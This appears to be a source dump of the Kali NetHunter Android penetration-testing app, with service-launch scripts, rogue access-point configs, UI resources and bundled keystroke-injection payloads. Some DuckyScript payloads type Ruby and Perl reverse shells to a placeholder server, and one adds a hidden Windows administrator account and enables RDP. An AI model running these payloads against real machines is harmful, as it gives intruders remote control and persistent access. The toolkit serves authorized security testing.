echo 1 > /sys/class/android_usb/android0/enable 7 | iptables-flush 8 | -------------------------------------------------------------------------------- /assets/nh_files/configs/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | log-facility=/sdcard/nh_files/dnsmasq.log 2 | #address=/#/10.0.0.1 3 | #address=/google.com/10.0.0.1 4 | interface=wlan1 5 | dhcp-range=10.0.0.10,10.0.0.250,12h 6 | dhcp-option=3,10.0.0.1 7 | dhcp-option=6,10.0.0.1 8 | #no-resolv 9 | log-queries 10 | -------------------------------------------------------------------------------- /assets/scripts/start-msf: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | LANG=C PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /system/xbin/chroot /data/local/nhsystem/kali-armhf /usr/bin/start-msf.sh 4 | 5 | 6 | -------------------------------------------------------------------------------- /assets/scripts/stop-msf: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | LANG=C PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /system/xbin/chroot /data/local/nhsystem/kali-armhf /usr/bin/stop-msf.sh 4 | 5 | 6 | -------------------------------------------------------------------------------- /assets/scripts/start-beef-xss: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 4 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/beef-xss start" 5 | sleep 35 6 | am start -a android.intent.action.VIEW -d http://127.0.0.1:3000/ui/panel 7 | -------------------------------------------------------------------------------- /assets/scripts/stop-apache: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | LANG=C PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /system/xbin/chroot /data/local/nhsystem/kali-armhf /usr/sbin/apachectl stop 4 | 5 | 6 | -------------------------------------------------------------------------------- /res/menu/searchsploit.xml: -------------------------------------------------------------------------------- 1 | 3 | 7 | -------------------------------------------------------------------------------- /assets/scripts/start-apache: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | LANG=C PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /system/xbin/chroot /data/local/nhsystem/kali-armhf /usr/sbin/apachectl start 4 | 5 | 6 | -------------------------------------------------------------------------------- /res/menu/kali_services.xml: -------------------------------------------------------------------------------- 1 | 3 | 7 | 8 | -------------------------------------------------------------------------------- /assets/scripts/iptables-flush: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | iptables -F 3 | iptables -X 4 | iptables -t nat -F 5 | iptables -t nat -X 6 | iptables -t mangle -F 7 | iptables -t mangle -X 8 | iptables -P INPUT ACCEPT 9 | iptables -P FORWARD ACCEPT 10 | iptables -P OUTPUT ACCEPT 11 | 12 | echo 0 > /proc/sys/net/ipv4/ip_forward 13 | -------------------------------------------------------------------------------- /assets/scripts/stop-gpsd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "pkill gpsd" 4 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "pkill socat" 5 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "rm -f /tmp/gps*" -------------------------------------------------------------------------------- /assets/scripts/start-wifite: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | ifconfig wlan1 up 4 | sleep 3 5 | LANG=C PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /system/xbin/chroot /data/local/nhsystem/kali-armhf /usr/bin/python /usr/bin/wifite -dict /opt/dic/89.txt -------------------------------------------------------------------------------- /res/menu/macchanger.xml: -------------------------------------------------------------------------------- 1 | 3 | 8 | 9 | -------------------------------------------------------------------------------- /res/drawable/ic_action_play.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Mon Feb 13 13:32:52 PST 2017 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | org.gradle.jvmargs=-Xmx4096m -XX:MaxPermSize=4096m -XX:+HeapDumpOnOutOfMemoryError 7 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip 8 | -------------------------------------------------------------------------------- /res/values-w820dp/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /res/drawable/ic_action_home.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /res/layout/nethunter_item.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /res/menu/deauth.xml: -------------------------------------------------------------------------------- 1 | 5 | 10 | -------------------------------------------------------------------------------- /res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | #33B5E5 5 | #FFFF8800 6 | 7 | #fcfcfc 8 | #d9d9d9 9 | 10 | #444 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | -------------------------------------------------------------------------------- /res/values-v21/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | #A7FFEB 5 | #FFFF8800 6 | 7 | #fcfcfc 8 | #d9d9d9 9 | 10 | #444 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /res/drawable-mdpi/activated_color.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /assets/nh_files/duckyscripts/helloworld: -------------------------------------------------------------------------------- 1 | REM This is a comment 2 | STRING Hello world! 3 | STRING Example of typing to computer. Nethunter is awesome! 4 | REM To sleep for five seconds use miliseconds 5 | SLEEP 5000 6 | STRING I slept for 5 seconds, now I'm awake! 7 | STRING abcdefghijklmnopqrstuvwxyz 8 | STRING ABCDEFGHIJKLMNOPQRSTUVWXYZ 9 | STRING 1234567890-=!@#$%^&*()_+ 10 | STRING []\;',./{}|:"<>?`~ 11 | MOUSE 300 300 12 | ENTER 13 | -------------------------------------------------------------------------------- /res/menu/custom_commands.xml: -------------------------------------------------------------------------------- 1 | 3 | 7 | 11 | 12 | -------------------------------------------------------------------------------- /src/com/offsec/nethunter/gps/KaliGPSUpdates.java: -------------------------------------------------------------------------------- 1 | package com.offsec.nethunter.gps; 2 | 3 | public interface KaliGPSUpdates { 4 | 5 | interface Receiver { 6 | void onPositionUpdate(String nmeaSentences); 7 | 8 | void onFirstPositionUpdate(); 9 | } 10 | 11 | interface Provider { 12 | void onLocationUpdatesRequested(Receiver receiver); 13 | 14 | void onStopRequested(); 15 | } 16 | 17 | 18 | } 19 | -------------------------------------------------------------------------------- /androidwversionmanager/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /androidwversionmanager/src/main/java/com/winsontan520/wversionmanager/library/OnReceiveListener.java: -------------------------------------------------------------------------------- 1 | package com.winsontan520.wversionmanager.library; 2 | 3 | public interface OnReceiveListener { 4 | 5 | /** 6 | * @param status response code from HTTP request 7 | * @param result response data from HTTP request 8 | * @return return true to show default library dialog 9 | */ 10 | boolean onReceive(int status, String result); 11 | } 12 | -------------------------------------------------------------------------------- /res/layout/payload_maker_item.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /res/menu/mitmf.xml: -------------------------------------------------------------------------------- 1 | 3 | 7 | 11 | -------------------------------------------------------------------------------- /res/layout/macchanger_ifaces_item.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /assets/nh_files/configs/dhcpd.conf: -------------------------------------------------------------------------------- 1 | ddns-update-style none; 2 | 3 | default-lease-time 60; 4 | max-lease-time 72; 5 | 6 | authoritative; 7 | 8 | log-facility local7; 9 | 10 | #option wpad code 252 = text; 11 | #option wpad "http://wpad.example.com/wpad.dat\n"; 12 | 13 | subnet 10.0.0.0 netmask 255.255.255.0 { 14 | range 10.0.0.100 10.0.0.254; 15 | option routers 10.0.0.1; 16 | option domain-name-servers 10.0.0.1; 17 | #option domain-name-servers 192.168.182.1; 18 | option domain-name-servers 8.8.8.8; 19 | } -------------------------------------------------------------------------------- /assets/nh_files/configs/dhcpd-mana.conf: -------------------------------------------------------------------------------- 1 | ddns-update-style none; 2 | 3 | default-lease-time 60; 4 | max-lease-time 72; 5 | 6 | authoritative; 7 | 8 | log-facility local7; 9 | 10 | #option wpad code 252 = text; 11 | #option wpad "http://wpad.example.com/wpad.dat\n"; 12 | 13 | subnet 10.0.0.0 netmask 255.255.255.0 { 14 | range 10.0.0.100 10.0.0.254; 15 | option routers 10.0.0.1; 16 | option domain-name-servers 10.0.0.1; 17 | #option domain-name-servers 192.168.182.1; 18 | option domain-name-servers 8.8.8.8; 19 | } 20 | -------------------------------------------------------------------------------- /res/menu/duck_hunter.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | 9 | 13 | 14 | -------------------------------------------------------------------------------- /assets/scripts/bootkali_env: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | ######### IMPORT BOOTKALI INITIALIZATION ######### 4 | SCRIPT_PATH=$(readlink -f $0) 5 | . ${SCRIPT_PATH%/*}/bootkali_init 6 | 7 | ######### EXPORT ENVIRONMENT ######### 8 | export bin=/system/bin 9 | export mnt=$mnt 10 | PRESERVED_PATH=$PATH 11 | export PATH=/usr/bin:/usr/sbin:/bin:/usr/local/bin:/usr/local/sbin:$PATH 12 | export TERM=linux 13 | export HOME=/root 14 | export USER=root 15 | export LOGNAME=root 16 | unset LD_PRELOAD 17 | 18 | ######### TERMINAL SETUP ######### 19 | clear 20 | -------------------------------------------------------------------------------- /assets/scripts/check-ycable: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | 3 | OTG_FILES=" 4 | /sys/module/msm_otg/parameters/usbhost_charge_mode 5 | /sys/module/tegra_otg/parameters/tegra_otg_on_charging 6 | /sys/module/dwc3/parameters/aca_enable 7 | /sys/module/dwc3/parameters/otg_charging 8 | " 9 | 10 | for file in $OTG_FILES; do 11 | [ -f "$file" ] || continue 12 | case $(cat "$file" 2>/dev/null) in 13 | 1|Y*|y*) 14 | echo 1; exit 0;; 15 | 0|N*|n*) 16 | echo 0; exit 0;; 17 | esac 18 | done 19 | 20 | # no valid OTG toggle files found 21 | echo 0 22 | exit 1 23 | -------------------------------------------------------------------------------- /res/drawable/ic_memory_24dp.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /assets/scripts/stop-badusb-lollipop: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | unset LD_PRELOAD 3 | 4 | INTERFACE=rndis0 5 | 6 | killall dnsmasq 2>/dev/null 7 | echo 0 > /sys/class/android_usb/android0/enable 8 | echo mtp,adb > /sys/class/android_usb/android0/functions 9 | echo 1 > /sys/class/android_usb/android0/enable 10 | 11 | # Restoring iptables rules 12 | iptables -D FORWARD -i $INTERFACE -j ACCEPT 13 | iptables -t nat -D POSTROUTING -j MASQUERADE 14 | iptables -A natctrl_FORWARD -j DROP 15 | # Remove iface and routes 16 | ip addr flush dev $INTERFACE 17 | ip link set $INTERFACE down 18 | 19 | 20 | -------------------------------------------------------------------------------- /assets/nh_files/duckyscripts/osx_ruby_reverse_shell: -------------------------------------------------------------------------------- 1 | REM Credits to samratashok @ https://github.com/samratashok/Kautilya/blob/master/lib/src/osx_ruby_reverse_shell.ino 2 | REM This payload executes ruby reverse shell to your specified server. 3 | REM 4 | SLEEP 3000 5 | COMMAND SPACE 6 | STRING terminal 7 | ENTER 8 | SLEEP 3000 9 | COMMAND n 10 | SLEEP 2000 11 | REM CHANGE SERVER (0.0.0.0) AND PORT (1337) to server running netcat on remote machine: 12 | REM nc -l 1337 13 | STRING ruby -rsocket -e 'c=TCPSocket.new("0.0.0.0","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 14 | -------------------------------------------------------------------------------- /res/drawable/ic_action_refresh.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /res/layout/mana.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 13 | -------------------------------------------------------------------------------- /res/layout/mitmf.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 13 | 14 | -------------------------------------------------------------------------------- /src/com/offsec/nethunter/LauncherButton.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Created by AnglerVonMur on 26.07.15. 3 | */ 4 | package com.offsec.nethunter; 5 | 6 | import android.content.Context; 7 | import android.support.v7.widget.AppCompatButton; 8 | 9 | public class LauncherButton extends AppCompatButton { 10 | 11 | private long db_id; 12 | 13 | public LauncherButton(Context context) { 14 | super(context); 15 | } 16 | 17 | public long getDb_id() { 18 | return db_id; 19 | } 20 | 21 | public void setDb_id(long db_id) { 22 | this.db_id = db_id; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /res/layout/hid.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 13 | 14 | -------------------------------------------------------------------------------- /res/drawable/ic_action_keyboard.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /assets/nh_files/duckyscripts/osx_perl_reverse_shell: -------------------------------------------------------------------------------- 1 | REM Credits to samratashok @ https://github.com/samratashok/Kautilya/blob/master/lib/src/osx_perl_reverse_shell.ino 2 | REM This payload executes perl reverse shell to your specified server. 3 | REM 4 | SLEEP 3000 5 | COMMAND SPACE 6 | STRING terminal 7 | ENTER 8 | SLEEP 3000 9 | COMMAND n 10 | SLEEP 2000 11 | REM CHANGE SERVER (0.0.0.0) AND PORT (1337) to server running netcat on remote machine: 12 | REM nc -l 1337 13 | STRING perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"0.0.0.0:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 14 | -------------------------------------------------------------------------------- /res/layout/duck_hunter.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 13 | 14 | -------------------------------------------------------------------------------- /project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | 15 | 16 | -------------------------------------------------------------------------------- /res/drawable/ic_cast_connected_black_24dp.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /res/menu/badusb.xml: -------------------------------------------------------------------------------- 1 | 3 | 8 | 12 | 16 | -------------------------------------------------------------------------------- /res/menu/mana.xml: -------------------------------------------------------------------------------- 1 | 3 | 8 | 9 | 13 | 14 | 18 | 19 | -------------------------------------------------------------------------------- /src/com/offsec/nethunter/receiver/BootCompletedReceiver.java: -------------------------------------------------------------------------------- 1 | package com.offsec.nethunter.receiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | import com.offsec.nethunter.service.RunAtBootService; 8 | 9 | /** 10 | * Created by fattire on 2/19/15. 11 | */ 12 | 13 | public class BootCompletedReceiver extends BroadcastReceiver{ 14 | 15 | @Override 16 | public void onReceive(Context context, Intent intent) { 17 | Intent startServiceIntent = new Intent(context, RunAtBootService.class); 18 | context.startService(startServiceIntent); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /res/layout/duck_hunter_preview.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 11 | 12 | 17 | 18 | -------------------------------------------------------------------------------- /res/drawable/ic_action_network_wifi.xml: -------------------------------------------------------------------------------- 1 | 6 | 10 | 13 | 14 | -------------------------------------------------------------------------------- /res/values/ids.xml: -------------------------------------------------------------------------------- 1 | 15 | 16 | -------------------------------------------------------------------------------- /res/drawable/ic_share_black_24dp.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /res/drawable/ic_bug_report_black_24dp.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /androidwversionmanager/src/main/java/com/winsontan520/wversionmanager/library/CustomTagHandler.java: -------------------------------------------------------------------------------- 1 | package com.winsontan520.wversionmanager.library; 2 | 3 | import android.text.Editable; 4 | import android.text.Html.TagHandler; 5 | 6 | import org.xml.sax.XMLReader; 7 | 8 | public class CustomTagHandler implements TagHandler { 9 | 10 | @Override 11 | public void handleTag(boolean opening, String tag, Editable output, 12 | XMLReader xmlReader) { 13 | // you may add more tag handler which are not supported by android here 14 | if ("li".equals(tag)) { 15 | if (opening) { 16 | output.append(" \u2022 "); 17 | } else { 18 | output.append("\n"); 19 | } 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 14 | 15 | 16 | 19 | 20 | -------------------------------------------------------------------------------- /androidwversionmanager/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.library' 2 | 3 | android { 4 | compileSdkVersion 26 5 | buildToolsVersion '26.0.2' 6 | useLibrary 'org.apache.http.legacy' 7 | 8 | defaultConfig { 9 | minSdkVersion 14 10 | targetSdkVersion 26 11 | } 12 | 13 | buildTypes { 14 | release { 15 | minifyEnabled false 16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt' 17 | } 18 | } 19 | } 20 | 21 | repositories { 22 | mavenCentral() 23 | jcenter() 24 | maven { 25 | url "https://maven.google.com" 26 | } 27 | } 28 | 29 | dependencies { 30 | compile 'com.android.support:support-v4:26.0.1' 31 | compile 'org.thoughtcrime.ssl.pinning:AndroidPinning:1.0.0' 32 | } 33 | -------------------------------------------------------------------------------- /androidwversionmanager/license.txt: -------------------------------------------------------------------------------- 1 | Android WVersion Manager 2 | 3 | ######################################################### 4 | https://github.com/winsontan520/Android-WVersionManager 5 | ######################################################### 6 | 7 | Copyright 2013 Winson Tan 8 | 9 | Licensed under the Apache License, Version 2.0 (the "License"); 10 | you may not use this file except in compliance with the License. 11 | You may obtain a copy of the License at 12 | 13 | http://www.apache.org/licenses/LICENSE-2.0 14 | 15 | Unless required by applicable law or agreed to in writing, software 16 | distributed under the License is distributed on an "AS IS" BASIS, 17 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | See the License for the specific language governing permissions and 19 | limitations under the License. -------------------------------------------------------------------------------- /res/layout/kali_services.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | 15 | 16 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /assets/nh_files/duckyscripts/windows_rdp: -------------------------------------------------------------------------------- 1 | REM Credit to samratashok @ https://github.com/samratashok/Kautilya/blob/master/lib/src/enable_rdp.pde 2 | REM This payload adds an Administrative User, Starts RDP Service and adds exception to Windows firewall. 3 | REM 4 | REM Change USERNAME and PASSWORD below 5 | SLEEP 3000 6 | GUI r 7 | STRING cmd.exe 8 | SLEEP 3000 9 | STRING net user USERNAME PASSWORD /add 10 | STRING net localgroup Administrators USERNAME /add 11 | SLEEP 2000 12 | STRING reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f 13 | SLEEP 2000 14 | STRING reg add \"HKLM\\System\\CurrentControlSet\\Services\\TermService\" /v Start /t REG_DWORD /d 2 /f 15 | SLEEP 2000 16 | STRING sc start termservice 17 | SLEEP 2000 18 | STRING netsh firewall set service type = remotedesktop mode = enable 19 | SLEEP 3000 20 | STRING exit 21 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_MODULE := Nethunter 6 | LOCAL_MODULE_TAGS := optional 7 | LOCAL_PACKAGE_NAME := Nethunter 8 | 9 | nethunter_root := $(LOCAL_PATH) 10 | nethunter_out := $(PWD)/$(OUT_DIR)/target/common/obj/APPS/$(LOCAL_MODULE)_intermediates 11 | nethunter_build := $(nethunter_root)/build 12 | nethunter_apk := build/outputs/apk/Nethunter-release-unsigned.apk 13 | 14 | $(nethunter_root)/$(nethunter_apk): 15 | rm -rf $(nethunter_build) 16 | mkdir -p $(nethunter_build)/outputs/apk 17 | mkdir -p $(nethunter_out) 18 | ln -sf $(nethunter_out) $(nethunter_build) 19 | cd $(nethunter_root) && gradle assembleRelease 20 | 21 | LOCAL_CERTIFICATE := platform 22 | LOCAL_PRIVILEGED_MODULE := true 23 | LOCAL_SRC_FILES := $(nethunter_apk) 24 | LOCAL_MODULE_CLASS := APPS 25 | LOCAL_MODULE_SUFFIX := $(COMMON_ANDROID_PACKAGE_SUFFIX) 26 | 27 | include $(BUILD_PREBUILT) -------------------------------------------------------------------------------- /res/menu/hid.xml: -------------------------------------------------------------------------------- 1 | 3 | 8 | 12 | 16 | 20 | 24 | 25 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.ap_ 4 | # Files for the Dalvik VM 5 | *.dex 6 | # Java class files 7 | *.class 8 | # Generated files 9 | bin/ 10 | gen/ 11 | # Gradle files 12 | build/ 13 | # Local configuration file (sdk path, etc) 14 | local.properties 15 | project.properties 16 | # Proguard folder generated by Eclipse 17 | proguard/ 18 | # Log Files 19 | *.log 20 | 21 | 22 | *.pydevproject 23 | .project 24 | .metadata 25 | bin/** 26 | tmp/** 27 | tmp/**/* 28 | *.tmp 29 | *.bak 30 | *.swp 31 | *~.nib 32 | 33 | .classpath 34 | .settings/ 35 | .loadpath 36 | .gradle 37 | .idea/ 38 | 39 | .DS_Store 40 | /build 41 | # External tool builders 42 | .externalToolBuilders/ 43 | 44 | # Locally stored "Eclipse launch configurations" 45 | *.launch 46 | nethunter-app.iml 47 | # CDT-specific 48 | .cproject 49 | 50 | # PDT-specific 51 | .buildpath 52 | /lint.xml 53 | libsuperuser-release/libsuperuser-release.iml 54 | androidwversionmanager/androidwversionmanager.iml 55 | *.iml 56 | /release 57 | -------------------------------------------------------------------------------- /proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -dontwarn android.support.v7.** 22 | -keep class android.support.v7.** { *; } 23 | -keep interface android.support.v7.** { *; } -------------------------------------------------------------------------------- /res/drawable/ic_action_android.xml: -------------------------------------------------------------------------------- 1 | 6 | 9 | 10 | -------------------------------------------------------------------------------- /src/com/offsec/nethunter/gps/GpsPosition.java: -------------------------------------------------------------------------------- 1 | package com.offsec.nethunter.gps; 2 | 3 | 4 | import java.util.Locale; 5 | 6 | /** 7 | * Created by Danial on 2/23/2015. 8 | * https://github.com/danialgoodwin/android-app-samples/blob/master/gps-satellite-nmea-info/app/src/main/java/net/simplyadvanced/gpsandsatelliteinfo/GpsPosition.java 9 | */ 10 | 11 | public class GpsPosition { 12 | 13 | public float time = 0.0f; 14 | private float latitude = 0.0f; 15 | private float longitude = 0.0f; 16 | private int quality = 0; 17 | private float direction = 0.0f; 18 | private float altitude = 0.0f; 19 | private float velocity = 0.0f; 20 | 21 | public void updateIsfixed() { 22 | boolean isFixed = quality > 0; 23 | } 24 | 25 | @Override 26 | public String toString() { 27 | return String.format(Locale.getDefault(), "GpsPosition: latitude: %f, longitude: %f, time: %f, quality: %d, " + 28 | "direction: %f, altitude: %f, velocity: %f", latitude, longitude, time, quality, 29 | direction, altitude, velocity); 30 | } 31 | 32 | } -------------------------------------------------------------------------------- /res/layout/source.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 11 | 12 | 22 | 23 |